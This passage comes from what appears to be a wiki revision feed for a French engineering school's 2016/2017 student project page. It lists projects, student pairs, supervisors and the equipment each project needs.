  &amp;lt;td&amp;gt; Cong CHEN / Sonia NDUWAYO &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P20 Conception d'un périphérique USB de type &amp;quot;gadget&amp;quot;]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Florian Giovannangeli &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon (Ecole) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P23 Poste ébavurage de pièces plastiques  ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Corentin CASIER / Jordan RAZAFINDRAIBE &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Blaise Conrard (Ecole) / L. HAAG (Entreprise) / R. DAVID (Entreprise) / B. MASSART (Entreprise)  &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P24 Contrôle qualité de la production de pièces plastiques  ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alex JULITA / Matthier HERWEGH &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Blaise Conrard (Ecole) / L. HAAG (Entreprise) / R. DAVID (Entreprise) / B. MASSART (Entreprise)  &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P31 Partition HTTP/TLS pour Pepin]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Mageshwaran SEKAR &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Julien IGUCHI-CARTIGNY&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P39 Ajouter de nouvelles interactions à la solution Tezeos  ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Nathan RICHEZ &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Samuel Tranchet (Entreprise) / Thomas Vantroys (Ecole) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P42 Dispositif à retour tactile ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Pierre FITOUSSI &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Laurent GRISONI &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P44 Identification d'un robot mobile ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Michel MIKHAEL &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Midzodzi PEKPE &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P47 Développement d'une interface cerveau-ordinateur ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Victor CHARNET &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; C. Lecocq (Ecole) F. Cabestaing (Labo) A. Duprès (Labo)&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
 &amp;lt;td&amp;gt;[[P52 Application mobile musicale]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Julien Bielle/Romain Ruet &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Thomas Vantroys (Ecole) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[[P54 Robot assisté par vision pour le tri de pièces métalliques]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Julian BONVILLE &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi MERZOUKI (Ecole) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P56 Robot testeur de club de golf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Joshua LETELLIER &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi MERZOUKI (Ecole) / Guillaume DEWAELE (Entreprise) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P57 Robotisation d'un poste de production de pièces à base de fil métallique ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Audrey AFFOYON &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Blaise CONRARD &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P59 Popsell : application mobile]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Quentin GRUSON &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Thomas VANTROYS (Ecole) / François Vandeplanque (Popsell) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P61 Jeux d'aventure grandeur nature ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; MAIA Stéphane / LENTIEUL Romuald &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; GAPAS / Thomas Vantroys (Ecole) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
 &amp;lt;td&amp;gt;[[P64  Sécurité de l'IOT ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Cédric DUVAL &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Thomas Vantroys (Ecole) / Alexandre Boé (Ecole)&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Matériel nécessaires ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Projet&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Matériel&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;P15&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; 2 téléphones Android (reçus le 30 septembre. Une boite complète + 1 boite sans câble de connexion) &amp;lt;/span&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;P52&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; 2 téléphones Android (reçus le 5 octobre. Deux boites complètes) &amp;lt;/span&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;P61&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; une tablette Android reçu le 10/10/2016 &amp;lt;br&amp;gt; 1 Raspberry pi (+dongle Wifi) reçu le 10/10/2016&amp;lt;/span&amp;gt;&lt;br /&gt;
  &amp;lt;br&amp;gt;&amp;lt;span style=&amp;quot;color:orange&amp;quot;&amp;gt; 9 Raspberry pi (+dongle Wifi) &amp;lt;br&amp;gt; 9 Haut-Parleurs simples &amp;lt;/span&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/table&amp;gt;&lt;/div&gt;</summary>
		<author><name>Smaia</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=Projets_IMA5_2016/2017&amp;diff=34265</id>
		<title>Projets IMA5 2016/2017</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=Projets_IMA5_2016/2017&amp;diff=34265"/>
				<updated>2016-10-11T13:59:17Z</updated>
		
		<summary type="html">&lt;p&gt;Smaia : /* Matériel nécessaires */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;Merci de référencer vos pages de projets ici. Merci aussi d'uniformiser vos formats que ce soit en regardant la présentation des projets déjà créés ou en allant modifier le format des précédents si votre façon de faire vous semble la meilleure. Dans tous les cas un minimum de communication entre les binômes est conseillée.&lt;br /&gt;
&lt;br /&gt;
Toutes les sources doivent être déposées sur notre archive GIT. Le service est disponible à l'URL [https://archives.plil.fr archives.plil.fr]. Connectez-vous avec vos identifiants Polytech'Lille. Sauf indication contraire de vos encadrants, rendez le projet public et mettez le lien sur votre Wiki. Vous pouvez trouver de la documentation sur ce système d'archives sur ce [https://git-scm.com/book/fr/v1 site].&lt;br /&gt;
&lt;br /&gt;
== Répartition des binômes ==&lt;br /&gt;
&lt;br /&gt;
&amp;lt;table border=&amp;quot;1&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Projet&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Elèves&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Encadrant Ecole&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Rapport décembre&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Rapports finaux&amp;lt;/th&amp;gt;&lt;br /&gt;
  &amp;lt;th&amp;gt;Vidéo&amp;lt;/th&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P1 Automatisation de tests de validation d'un logiciel embarqué]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Thomas ROJ / Maxime SZWECHOWIEZ &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Thomas VANTROYS (Ecole)&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P3 Chaise vibrante pour enfant sourd]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Geoffrey Piekacz &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rodolphe Astori / Alexandre Boé / Thomas Vantroys &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P7 Régulation temps réel sur réseau sans fil ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Morgan OBEISSART / Vincent ROBIC &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alexandre BOE / Thomas VANTROYS &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P14 Conversion DC-DC à liaison AC et circuit L-C-L]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;Nicolas WEGRZYN&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;Philippe DELARUE&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;&amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P15 Entreprise : Développement d'une application iOS et Android ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Loïc DELECROIX / Julien JOIGNAUX &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Thomas VANTROYS (Ecole) / Béatrice CADET (entreprise) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P16 Réaliser deux trackers GPS permettant de suivre à distance le trajet d'un coureur ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Valentin Taffin / Alexandre Cuadros &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Thomas Vantroys (Ecole) / Alexandre Boé (Ecole) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P19 Relai Ethernet Lora ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Cong CHEN / Sonia NDUWAYO &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P20 Conception d'un périphérique USB de type &amp;quot;gadget&amp;quot;]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Florian Giovannangeli &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Xavier Redon (Ecole) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P23 Poste ébavurage de pièces plastiques  ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Corentin CASIER / Jordan RAZAFINDRAIBE &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Blaise Conrard (Ecole) / L. HAAG (Entreprise) / R. DAVID (Entreprise) / B. MASSART (Entreprise)  &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P24 Contrôle qualité de la production de pièces plastiques  ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Alex JULITA / Matthier HERWEGH &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Blaise Conrard (Ecole) / L. HAAG (Entreprise) / R. DAVID (Entreprise) / B. MASSART (Entreprise)  &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P31 Partition HTTP/TLS pour Pepin]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Mageshwaran SEKAR &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Julien IGUCHI-CARTIGNY&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P39 Ajouter de nouvelles interactions à la solution Tezeos  ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Nathan RICHEZ &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Samuel Tranchet (Entreprise) / Thomas Vantroys (Ecole) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P42 Dispositif à retour tactile ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Pierre FITOUSSI &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Laurent GRISONI &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P44 Identification d'un robot mobile ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Michel MIKHAEL &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Midzodzi PEKPE &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P47 Développement d'une interface cerveau-ordinateur ]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Victor CHARNET &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; C. Lecocq (Ecole) F. Cabestaing (Labo) A. Duprès (Labo)&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
 &amp;lt;td&amp;gt;[[P52 Application mobile musicale]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Julien Bielle/Romain Ruet &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Thomas Vantroys (Ecole) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;td&amp;gt;[[P54 Robot assisté par vision pour le tri de pièces métalliques]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Julian BONVILLE &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi MERZOUKI (Ecole) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt;[[P56 Robot testeur de club de golf]]&amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Joshua LETELLIER &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; Rochdi MERZOUKI (Ecole) / Guillaume DEWAELE (Entreprise) &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
  &amp;lt;td&amp;gt; &amp;lt;/td&amp;gt;&lt;br /&gt;
&amp;lt;/tr&amp;gt;&lt;br /&gt;
&amp;lt;tr&amp;gt;&lt;br /&gt;
